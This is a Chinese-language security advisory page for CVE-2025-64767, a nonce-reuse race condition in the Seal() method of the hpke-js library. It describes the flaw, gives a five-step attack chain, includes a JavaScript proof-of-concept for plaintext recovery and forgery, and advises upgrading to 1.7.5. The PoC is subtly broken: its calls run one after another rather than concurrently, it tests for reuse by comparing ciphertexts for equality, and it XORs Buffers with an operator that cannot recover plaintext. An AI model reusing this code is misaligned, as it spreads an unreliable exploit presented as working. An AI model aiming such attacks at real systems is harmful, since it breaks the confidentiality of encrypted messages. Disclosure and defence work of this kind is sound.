IPBUF安全漏洞报告
English
CVE-2025-64767 CVSS 9.1 严重

CVE-2025-64767 hpke-js SenderContext Seal() 竞态条件导致Nonce重用

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-64767
漏洞类型
加密实现错误
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
hpke-js

相关标签

CVE-2025-64767hpke-js竞态条件Nonce重用AEAD加密混合公钥加密机密性丧失完整性丧失Web Cryptography API

漏洞概述

hpke-js是一个基于Web Cryptography API构建的混合公钥加密(HPKE)模块。该模块在1.7.5之前的版本中存在严重的竞态条件漏洞,具体位于public SenderContext的Seal() API中。由于并发调用时缺乏适当的同步机制,AEAD(Authenticated Encryption with Associated Data)nonce可能被多次Seal()操作重用。Nonce重用是加密系统中的致命错误,会导致加密流重复,使得攻击者能够恢复明文消息或伪造密文。这不仅完全破坏了加密消息的机密性,还严重影响了消息的完整性和真实性。该漏洞无需任何认证或用户交互即可被利用,攻击复杂度低,危害极大。

技术细节

hpke-js模块的SenderContext Seal()方法在处理加密请求时存在典型的竞态条件(Race Condition)漏洞。在多线程或异步环境中,多个Seal()调用可能同时读取和递增nonce计数器,导致相同的nonce值被用于多次加密操作。AEAD加密模式(如AES-GCM、ChaCha20-Poly1305)要求每次加密必须使用唯一的nonce值,nonce重用会使加密流(keystream)重复,攻击者可通过XOR操作恢复明文或进行密文伪造攻击。问题代码位于packages/core/src/senderContext.ts的Seal()方法中(第22-34行),该方法在更新nonce前未进行原子操作或加锁保护。攻击者只需构造并发加密请求即可触发此漏洞,无需特殊权限或用户交互。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用hpke-js模块进行加密通信,确认版本低于1.7.5
STEP 2
步骤2: 构造并发请求
攻击者构造多个并发的Seal()加密请求,通过异步调用或并发线程触发竞态条件
STEP 3
步骤3: Nonce重用检测
利用相同的明文多次加密或已知明文攻击检测是否存在Nonce重用现象
STEP 4
步骤4: 密文分析
当检测到Nonce重用后,攻击者通过XOR两个密文得到明文XOR结果,结合已知信息恢复明文
STEP 5
步骤5: 完整性伪造
利用Nonce重用导致的密钥流重复漏洞,攻击者可伪造有效的加密消息通过完整性验证

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64767 PoC - Nonce Reuse in hpke-js SenderContext.Seal() // Race condition demonstration const { setupSenderContext, CipherSuite, AES_128_GCM } = require('hpke-js'); async function exploitNonceReuse() { const suite = new CipherSuite({ kem: 'X25519', kdf: 'HKDF-SHA256', aead: AES_128_GCM }); // Generate sender context const sender = await suite.createSenderContext({ recipientPublicKey: generateKeyPair().publicKey }); const pt1 = Buffer.from('Message 1'); const pt2 = Buffer.from('Message 2'); // Race condition: concurrent Seal() calls may reuse nonce const [ct1, sealer1] = await sender.seal(pt1); const [ct2, sealer2] = await sender.seal(pt2); // If nonce reused, keystream is identical // Attack: ct1 XOR ct2 = pt1 XOR pt2 (plaintext XOR plaintext) const xorResult = Buffer.from(ct1).compare(Buffer.from(ct2)); console.log('Nonce reuse detected:', xorResult === 0); // Full plaintext recovery via known-plaintext attack if (xorResult === 0) { const recovered_pt2 = Buffer.from(ct1).slice(0, 12) ^ Buffer.from(pt1) ^ Buffer.from(pt2); console.log('Plaintext 2 recovered:', recovered_pt2.toString()); } } exploitNonceReuse().catch(console.error);

影响范围

hpke-js < 1.7.5

防御指南

临时缓解措施
立即升级hpke-js到1.7.5版本,该版本已修复Nonce重用问题。在升级前,可通过在应用层实现请求序列化或添加全局锁来临时缓解竞态条件,但建议尽快完成版本升级以彻底消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表